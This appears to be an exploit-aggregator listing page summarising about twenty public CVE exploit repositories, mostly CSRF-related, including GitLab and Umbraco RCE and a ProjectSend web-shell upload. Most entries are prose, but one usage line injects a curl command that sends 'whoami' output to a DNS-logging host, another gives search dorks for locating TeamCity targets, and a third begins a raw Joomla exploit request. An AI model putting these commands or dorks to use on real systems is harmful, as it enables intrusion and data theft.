CVE-2024-27632

CVE-2024-27632 Vulnerability Details Overview In Savane v3.12 and prior, the Unix timestamp is used as a seed in the Pseudo-Random Number Generator PRNG used to generate Cross-Site Request Forgery CSRF protection tokens formid. As a result, an attacker may be able to independently generate the sa...

CVE-2021-22205

CVE-2021-22205 Affected versions: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Get csrf-token: Obtain the csrf-token via /users/signin, then use the previous CVE-2021-22205 POC to construct and execute an...

CVE-2019-25137-RCE

CVE-2019-25137-RCE CVE-2019-25137 is an Umbraco RCE vulnerability, the script within this repo is slightly altered This exploit script is based on script by Alexandre ZANNI EDB-ID 49488. It is slightly altered, changed the flow to skip token extraction before login, performed the login first...

CVE-2525-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7

CVE-2025-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7 Description A Cross Site Request Forgery CSRF vulnerability in the gestioneutenti.php endpoint of HotelDruid 3.0.7 allows attackers to perform unauthorized actions e.g., modifying user passwords on behalf of...

CVE-2022-41544

CVE-2022-41544 Exploit Script This repository contains a script to exploit CVE-2022-41544 vulnerability in GetSimple CMS. The script performs several steps to check for vulnerabilities, leak API keys, set cookies, obtain CSRF tokens, upload a shell, and trigger the shell. Changes and Improvements...

MDaemon-Advisories

MDaemon-Advisories MDaemon Advisories: CVE-2021-27180 Reflected XSS CVE-2021-27181 CSRF Token Fixation CVE-2021-27182 Iframe injection CVE-2021-27183 Remote Code Execution Those vulnerabilities were already patched on January 2021 and are published for CVE purposes. They can be chained to achieve...

Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240

Bludit Bruteforce Mitigation Bypass Script Overview This script is a refurbished Bash implementation of an exploit targeting the Bludit CMS version = 3.9.2. It leverages a vulnerability CVE-2019-17240 that allows brute-forcing passwords by bypassing the CSRF token-based protection. The original...

CVE-2024-11680

ProjectSend CVE-2024-11680 Exploit This is a proof-of-concept exploit for CVE-2024-11680, an unauthenticated configuration modification and web shell upload vulnerability in ProjectSend. Description The exploit takes advantage of multiple vulnerabilities in ProjectSend: CSRF token bypass allowing...

CVE-2025-25965

CVE-2025-25965: Falsificación de Solicitudes entre Sitios CSRF en Online Banquet Booking System v1.2 Introducción La Falsificación de Solicitudes entre Sitios CSRF sigue siendo una de las vulnerabilidades más pasadas por alto y, sin embargo, peligrosas que afectan a las aplicaciones web en la...

CVE-2019-19652

CVE-2019-19652 Chevereto downgrade attack - 1.0.0 - 1.1.4 Free, = 3.13.5 Core. An admin user can instruct the updater script to downgrade to another version instead of upgrade, reintroducing previous flaws. Due to the lack of a CSRF token this attack can also be used in a CSRF attack, meaning an...

CVE-2024-27198-RCE

Cyberspace Mapping Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" How to use I'm using Python3.9. root@kitploit: pip install requests urllib3 faker ...

xssless

xssless Un generador automatizado de payloads XSS escrito en Python. Uso 1. Registra las solicitudes con Burp proxy 2. Selecciona las solicitudes que quieras generar, luego haz clic derecho y selecciona "Save items" 3. Usa xssless para generar tu payload: ./xssless.py burpexportfile 4. Pwn! Puede...

CVE-2017-9934

CVE-2017-9934 我是此漏洞的提交者，署名：Envo Joomla 1.7.3 - 3.7.2 CSRF 漏洞利用 PoC 此漏洞的产生是由于 Joomla 1.7.3 至 3.7.2 版本未对 base64 输入进行清理。 Headers: root@kitploit: POST http://localhost/joomla/administrator/index.php?option=commenus&view=item&clientid=0&layout=edit&id=0 HTTP/1.1 User-Agent: Mozilla/5.0 X11; Ubuntu;...

CVE-2023-7028

CVE-2023-7028: CVE-2023-7028 Exploitation Tool Description: This Python script automates the exploitation of a hypothetical security vulnerability CVE-2023-7028 on GitLab instances. It facilitates password reset attacks on specified target email addresses, demonstrating a potential security risk...

CSRFBrute

CSRFBrute CSRF登录暴力破解工具 - V 0.5.0 Dev 建议优先使用 csrfbrute.py 稳定精简版 🚀 特性 动态CSRF Token刷新 - 确保高安全性目标上的准确性 线程安全会话管理 - 支持高并发操作，最高100线程 智能重试机制 - 指数退避策略，提高成功率 会话恢复功能 - 支持断点续传和Cookie恢复 性能监控 - 实时统计信息和内存优化 安全审计 - 完整的日志记录和脱敏处理 🛠️ 技术架构 语言 : Python 3 架构 : 面向对象设计，模块化结构 并发 : ThreadPoolExecutor线程池 配置 :...

CVE-2021-24085

Microsoft Exchange Server msExchEcpCanary Cross Site Request Forgery Elevation of Privilege Vulnerability This is a Proof of Concept for CVE-2021-24085. 1. poc.py downloads the targets cert file with private key inside 2. YellowCanary generates the msExchEcpCanary csrf token for a specific user...

CVE-2024-50335

CVE-2024-50335: XSS autenticado en el campo "Publish Key" que permite la creación no autorizada de usuarios administradores Resumen El campo "Publish Key" en la página Edit Profile de SuiteCRM es vulnerable a Cross-Site Scripting Reflejado XSS, lo que permite a un atacante inyectar código...

CVE-2021-40101

Survey XSS combined with CSRF leads to Admin Account Takeover in Concrete5 8.5.4 A Concrete CMS admin in versions below 9 did not have to provide their password when changing another user's password. In combination with CVE-2021-28145 "Concrete CMS formerly concrete5 before 8.5.5 allows remote...

CVE-2024-55271

Gym Management System CVE-2024-55271 A GYM management system built using PHP and MySQL. Auditor Shoaib Alam - LinkedIn Profile Description CSRF Vulnerability in Profile Update Section A Cross-Site Request Forgery CSRF vulnerability has been identified in the Gym Management System. This issue is...

CVE-2026-81907

Concrete CMS 9.5.2 and below is affected by a CSRF vulnerability in the Express "Clear Entries" function (POST /index.php/dashboard/system/express/entities/delete_entries). The root cause is that the controller records but does not enforce a failed CSRF token check, allowing the destructive opera...